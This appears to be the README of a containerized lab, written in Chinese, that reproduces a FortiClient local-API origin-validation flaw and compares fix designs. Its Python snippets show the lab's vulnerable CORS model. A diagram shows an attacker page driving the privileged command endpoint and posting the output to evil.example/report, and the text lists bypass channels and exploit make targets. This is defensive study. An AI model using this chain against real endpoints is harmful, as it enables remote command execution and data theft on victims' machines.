| CVE | CVE-2026-121529 |
| 组件 | FortiClient / FortiClient Windows PAM / FortiClient Mac — 本地 API 端点(127.0.0.1:9191) |
| 受影响版本 | Windows 与 Windows PAM 7.4.0–7.4.7、7.2.0–7.2.14;Mac 7.4.0–7.4.7 |
| 修复版本 | 7.4.8(7.4 分支)、7.2.15(7.2 分支) |
| CWE | CWE-346(源验证错误) |
| 影响 | 以 FortiClient 服务账户(Windows 上为 SYSTEM)身份实现未认证远程代码执行 |
| 攻击向量 | 受害者访问的网页;受害者自己的浏览器驱动特权本地 API |
| 触发条件 | 跨源请求的 Origin 头——或其缺失 |
Fortinet 的安全公告(FG-IR-26-194,发布于 2026-11-10)将该缺陷描述为 FortiClient、FortiClient Windows PAM 和 FortiClient Mac 本地 API 中的源验证错误,该错误“可能允许未经授权的远程攻击者执行未经授权的代码或命令”,并且需要与受害者进行交互。
本地 API 是同一端点上 FortiPAM 特权访问组件所使用的回环接口。它监听 127.0.0.1:9191,并提供一个特权会话操作,以服务的权限运行命令。由于该服务从不验证调用方的源,任何网站上的页面都能让受害者自己的浏览器驱动该 API:浏览器发送请求,API 执行请求,浏览器再将应答交回攻击者的脚本。受害者只需访问一个页面即可。
本仓库包含一个容器化实验环境,用真实浏览器复现该缺陷,对三种修复形态进行差分对比,并给出针对已修补模型的 0-day 扫描结果。该扫描产生了三个对任何此类产品都至关重要的发现:仅靠 CORS 头的修复完全无法阻止攻击,因为浏览器对 WebSocket 握手不应用任何 CORS 策略;一个接受不带 Origin 头请求的源验证修复可被跨源 `` 绕过;而盲执行可通过图像侧信道得到确认。
FortiClient 是专有软件。此处不重新分发其任何代码、二进制文件或配置,且厂商未公布本地 API 的端点列表或其源验证代码。因此,此处可复现的内容为:
127.0.0.1:9191 上的回环 HTTP 监听器、以服务权限执行命令的特权会话操作、该操作的 WebSocket 变体,以及源验证层;实验环境关于厂商产品的所有断言均源自安全公告;关于模型的所有断言均明确标注为模型。模型是实验中唯一运行的内容,并且被刻意构建为仅源验证层存在漏洞与修补行为的差异。
模型位于 lab/forticlient_api.py,通过 FCT_MODE 选择:
FCT_MODE | 行为 | 报告的版本 |
|---|---|---|
vuln | 完全不进行来源验证——请求的 Origin 会被反射到 Access-Control-Allow-Origin 中,并同时设置 Access-Control-Allow-Credentials: true | 7.4.7 |
fixed-cors | 仅收紧 CORS 响应头的修复方式;请求仍会被处理,且 WebSocket 接口完全不受 CORS 覆盖 | 7.4.8 |
fixed-origin-only | 在服务端验证来源,但仍接受不携带 Origin 头的请求的修复方式 | 7.4.8 |
fixed-strict | 在服务端验证来源,并且要求携带共享密钥头(跨源请求若不经过预检便无法设置该头)的修复方式 | 7.4.8 |
决定一个页面能否读取跨源请求响应的是浏览器,而非服务器。服务器通过 CORS 响应头表达这一决定:
Access-Control-Allow-Origin 指定唯一允许读取该响应的来源,而 Access-Control-Allow-Credentials: true 则额外允许该请求携带 Cookie 及其他凭据。
一个本地 API 若将请求自身的 Origin 反射回该响应头,并搭配 Access-Control-Allow-Credentials: true,就等于向互联网上的每一个页面敞开了一条通往特权本地服务的有效跨源通道。来源从未被验证,而 CWE-346 正是如此:服务器信任了它本应检查的那个值。
存在漏洞的模型在 _send() 中就是这样做的:
origin = cors_origin if cors_origin is not None else self.headers.get("Origin")
if cors_allowed(origin) and origin:
# The vulnerable build echoes ANY origin and allows credentials.
self.send_header("Access-Control-Allow-Origin", origin) # <-- any origin
self.send_header("Access-Control-Allow-Credentials", "true")
而 vuln 模式下的 cors_allowed() 对每个输入都返回 True:
def cors_allowed(origin):
if MODE == "vuln":
# 7.4.7 model: the service trusts whatever origin asks.
return True
预检同样宽松,并且它也会反映所请求的请求头:
def do_OPTIONS(self):
...
extra = {
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE, OPTIONS",
"Access-Control-Allow-Headers": self.headers.get(
"Access-Control-Request-Headers", "Content-Type, Authorization"),
"Access-Control-Max-Age": "86400",
}
特权操作本身完全不执行任何授权——在 vuln 模式下,action_allowed() 会无条件返回 True——因此,携带伪造或缺失来源的请求会以该服务的权限被执行:
def action_allowed(headers):
if MODE in ("vuln", "fixed-cors"):
return True
修复方案必须在服务器端判断调用方是否为受信任的本地组件。fixed-strict 模型会在执行操作之前完成这一判断:
def action_allowed(headers):
...
origin = headers.get("Origin")
token = headers.get(TOKEN_HEADER)
if token != TOKEN:
return False
if origin is None:
return True # the native local agent sends no Origin
return origin in ALLOWED_ORIGINS
顺序很重要:检查发生在命令运行之前,因此不受信任的请求永远不会到达 sink。
attacker web page victim's workstation
───────────────── ──────────────────────
https://evil.example
│ 1. victim visits the page
▼
┌────────────────────────┐ ┌──────────────────────────────────┐
│ <script> │ │ FortiClient local API │
│ fetch( │ 2. │ 127.0.0.1:9191 │
│ 'http://127.0.0.1: │──────────▶ │ POST /api/v1/privileged/session │
│ 9191/api/v1/ │ preflight │ {"command": "..."} │
│ privileged/session') │ + POST │ │
│ │◀────────── │ 3. executes the command as │
│ 3. reads the response │ 200 OK │ the service account │
│ 4. POSTs it to │ │ │
│ evil.example/report│ └──────────────────────────────────┘
└────────────────────────┘
从页面到达 API 的请求有四种形态,实验室对它们全部进行了演练:
| 通道 | 形态 | 是否发送 Origin? | 是否预检? | CORS 是否适用? |
|---|---|---|---|---|
json | 带 Content-Type: application/json 的 POST | 是 | 是 | 是 |
simple | 带 Content-Type: text/plain 的 POST(一个 CORS 简单请求) | 是 | 否 | 是 |
legacy-no-cors | 向一个从不发出 CORS 头的端点发送 POST | 是 | 否 | 是 |
img-csrf | 跨源 `` GET | 否 | 否 | 是(仅响应) |
websocket | 向 ws://127.0.0.1:9191/ws 发送 WebSocket | 是 | 完全没有握手 | 否——WebSocket 不存在 CORS |
confirm-oracle | 跨源 `` GET,读取已执行命令写入的产物 | 否 | 否 | 是(仅响应) |
最后四种形态至关重要。
Access-Control-* 机制约束。暴露了 WebSocket 的本地 API 不受任何 CORS 头收紧措施的影响,页面可以完整读取答案。Podman 网络 cve121529lab;每个容器都受到限制(--cpus 2 --memory 4g)。
| 容器 | 角色 |
|---|---|
forticlient-vuln | FortiClient 7.4.7 模型——127.0.0.1:9191、FCT_MODE=vuln 上的回环 API |
forticlient-fixed-cors | 仅 CORS 头的修复措施,FCT_MODE=fixed-cors |
forticlient-fixed-origin-only | 服务端来源校验,但仍接受缺失的 Origin,FCT_MODE=fixed-origin-only |
forticlient-fixed-strict | 服务端来源校验加共享密钥,FCT_MODE=fixed-strict |
attacker-site | 恶意网站,位于 http://attacker-site:8080(以及用于重绑定测试的 :9191) |
四个端点模型都运行同一个镜像,仅在 FCT_MODE 上有所不同;代码路径、配置和入口点完全相同。
有两个细节使复现忠实可靠,而不仅仅是看似合理:
--network container:forticlient-vuln 启动,因此浏览器内的 http://127.0.0.1:9191 正是本地 API 所监听的同一个回环地址——与受害者的工作站上一致。API 仅绑定到 127.0.0.1,并且可证明无法从其他容器访问。主机上不运行任何东西:没有监听器、没有浏览器、没有 FortiClient 组件。命令输出、API 请求日志和攻击者的外泄日志都写入共享的 results/ 卷。
make prepare # build the two images
make up # create the network and start the four models + the attacker site
make check-vuln # classification against the vulnerable model (exit 1 = vulnerable)
make check-fixed # classification against the patched model (exit 0 = safe)
make differential # the four models side by side
make exploit-vuln # the full chain, with the command output and the exfiltrated data
make mitigation # the CORS-header-only remediation
make ws # the WebSocket surface
make probe # origin-validation bypass matrix
make rebind # DNS-rebinding style attack
make raw # raw-socket HTTP probes
make 0day # the full sweep
make evidence # capture everything into evidence/
make down # tear down
run-lab.sh 暴露相同的目标(./run-lab.sh up|check|exploit|mitigation|ws|probe|rebind|raw|0day|differential|evidence|down)。
poc/poc.py 在 PoC 镜像内运行,并驱动无头 Chromium。
| 模式 | 作用 |
|---|---|
check | 分类:页面是否驱动了 API,以及页面能否读取答案? |
exploit | 完整链路,包含磁盘上的执行证据和被窃取的数据 |
mitigation | 针对仅修复 CORS 头的同一攻击 |
probe | 源验证绕过矩阵(两轮,见 §8) |
rebind | DNS 重绑定形态,其中页面源就是 API 源 |
raw | 浏览器不会产生的、手工构造的 HTTP 请求 |
0day | 完整扫描 |